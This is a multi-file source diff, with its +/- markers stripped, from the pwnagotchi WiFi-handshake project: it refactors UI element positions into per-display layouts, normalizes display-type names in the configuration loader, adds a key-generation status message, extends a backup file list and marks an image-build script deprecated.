status_pos = (125, 20)
return width, height, face_pos, name_pos, status_pos
class View(object):
def __init__(self, config, state={}):
def __init__(self, config, impl, state=None):
global ROOT
self._render_cbs = []
@@ -65,53 +28,51 @@ class View(object):
self._frozen = False
self._lock = Lock()
self._voice = Voice(lang=config['main']['lang'])
self._width, self._height, \
face_pos, name_pos, status_pos = setup_display_specifics(config)
self._implementation = impl
self._layout = impl.layout()
self._width = self._layout['width']
self._height = self._layout['height']
self._state = State(state={
'channel': LabeledValue(color=BLACK, label='CH', value='00', position=(0, 0), label_font=fonts.Bold,
'channel': LabeledValue(color=BLACK, label='CH', value='00', position=self._layout['channel'],
label_font=fonts.Bold,
text_font=fonts.Medium),
'aps': LabeledValue(color=BLACK, label='APS', value='0 (00)', position=(30, 0), label_font=fonts.Bold,
'aps': LabeledValue(color=BLACK, label='APS', value='0 (00)', position=self._layout['aps'],
label_font=fonts.Bold,
text_font=fonts.Medium),
# 'epoch': LabeledValue(color=BLACK, label='E', value='0000', position=(145, 0), label_font=fonts.Bold,
# text_font=fonts.Medium),
'uptime': LabeledValue(color=BLACK, label='UP', value='00:00:00', position=(self._width - 65, 0),
'uptime': LabeledValue(color=BLACK, label='UP', value='00:00:00', position=self._layout['uptime'],
label_font=fonts.Bold,
text_font=fonts.Medium),
'line1': Line([0, int(self._height * .12), self._width, int(self._height * .12)], color=BLACK),
'line2': Line(
[0, self._height - int(self._height * .12), self._width, self._height - int(self._height * .12)],
color=BLACK),
'line1': Line(self._layout['line1'], color=BLACK),
'line2': Line(self._layout['line2'], color=BLACK),
'face': Text(value=faces.SLEEP, position=face_pos, color=BLACK, font=fonts.Huge),
'face': Text(value=faces.SLEEP, position=self._layout['face'], color=BLACK, font=fonts.Huge),
'friend_face': Text(value=None, position=(0, (self._height * 0.88) - 15), font=fonts.Bold, color=BLACK),
'friend_name': Text(value=None, position=(40, (self._height * 0.88) - 13), font=fonts.BoldSmall,
'friend_face': Text(value=None, position=self._layout['friend_face'], font=fonts.Bold, color=BLACK),
'friend_name': Text(value=None, position=self._layout['friend_name'], font=fonts.BoldSmall,
color=BLACK),
'name': Text(value='%s>' % 'pwnagotchi', position=name_pos, color=BLACK, font=fonts.Bold),
'name': Text(value='%s>' % 'pwnagotchi', position=self._layout['name'], color=BLACK, font=fonts.Bold),
'status': Text(value=self._voice.default(),
position=status_pos,
position=self._layout['status']['pos'],
color=BLACK,
font=fonts.Medium,
font=self._layout['status']['font'],
wrap=True,
# the current maximum number of characters per line, assuming each character is 6 pixels wide
max_length=(self._width - status_pos[0]) // 6),
max_length=self._layout['status']['max']),
'shakes': LabeledValue(label='PWND ', value='0 (00)', color=BLACK,
position=(0, self._height - int(self._height * .12) + 1), label_font=fonts.Bold,
position=self._layout['shakes'], label_font=fonts.Bold,
text_font=fonts.Medium),
'mode': Text(value='AUTO', position=(self._width - 25, self._height - int(self._height * .12) + 1),
'mode': Text(value='AUTO', position=self._layout['mode'],
font=fonts.Bold, color=BLACK),
})
for key, value in state.items():
self._state.set(key, value)
if state:
for key, value in state.items():
self._state.set(key, value)
plugins.on('ui_setup', self)
@@ -124,9 +85,15 @@ class View(object):
ROOT = self
def has_element(self, key):
self._state.has_element(key)
def add_element(self, key, elem):
self._state.add_element(key, elem)
def remove_element(self, key):
self._state.remove_element(key)
def width(self):
return self._width
@@ -188,6 +155,11 @@ class View(object):
faces.SAD,
faces.LONELY)
def on_keys_generation(self):
self.set('face', faces.AWAKE)
self.set('status', self._voice.on_keys_generation())
self.update()
def on_normal(self):
self.set('face', faces.AWAKE)
self.set('status', self._voice.on_normal())

View File

@@ -56,6 +56,28 @@ def load_config(args):
if user_config:
config = merge_config(user_config, config)
# the very first step is to normalize the display name so we don't need dozens of if/elif around
if config['ui']['display']['type'] in ('inky', 'inkyphat'):
config['ui']['display']['type'] = 'inky'
elif config['ui']['display']['type'] in ('papirus', 'papi'):
config['ui']['display']['type'] = 'papirus'
elif config['ui']['display']['type'] in ('oledhat'):
config['ui']['display']['type'] = 'oledhat'
elif config['ui']['display']['type'] in ('ws_1', 'ws1', 'waveshare_1', 'waveshare1'):
config['ui']['display']['type'] = 'waveshare_1'
elif config['ui']['display']['type'] in ('ws_2', 'ws2', 'waveshare_2', 'waveshare2'):
config['ui']['display']['type'] = 'waveshare_2'
else:
print("unsupported display type %s" % config['ui']['display']['type'])
exit(1)
print("Effective Configuration:")
print(yaml.dump(config, default_flow_style=False))
return config

View File

@@ -14,6 +14,9 @@ class Voice:
translation.install()
self._ = translation.gettext
def custom(self, s):
return s
def default(self):
return self._('ZzzzZZzzzzZzzz')
@@ -28,6 +31,10 @@ class Voice:
self._('AI ready.'),
self._('The neural network is ready.')])
def on_keys_generation(self):
return random.choice([
self._('Generating keys, do not turn off ...')])
def on_normal(self):
return random.choice([
'',
@@ -64,8 +71,8 @@ class Voice:
def on_new_peer(self, peer):
return random.choice([
self._('Hello {name}! Nice to meet you. {name}').format(name=peer.name()),
self._('Unit {name} is nearby! {name}').format(name=peer.name())])
self._('Hello {name}! Nice to meet you.').format(name=peer.name()),
self._('Unit {name} is nearby!').format(name=peer.name())])
def on_lost_peer(self, peer):
return random.choice([

View File

@@ -10,6 +10,7 @@ TEMP_BACKUP_FOLDER=/tmp/pwnagotchi_backup
FILES_TO_BACKUP=(
/root/brain.nn
/root/brain.json
/root/.api-report.json
/root/handshakes
/etc/pwnagotchi/
/etc/hostname

View File

@@ -4,6 +4,9 @@
set -eu
echo "THIS SCRIPT IS DEPRECATED, PLEASE REFER TO THE OFFICIAL DOCUMENTATION AT https://pwnagotchi.ai/contributing/#creating-an-image"
exit 1
REQUIREMENTS=( wget gunzip git dd e2fsck resize2fs parted losetup qemu-system-x86_64 )
DEBREQUIREMENTS=( wget gzip git parted qemu-system-x86 qemu-user-static )
REPO_DIR="$(dirname "$(dirname "$(realpath "$0")")")"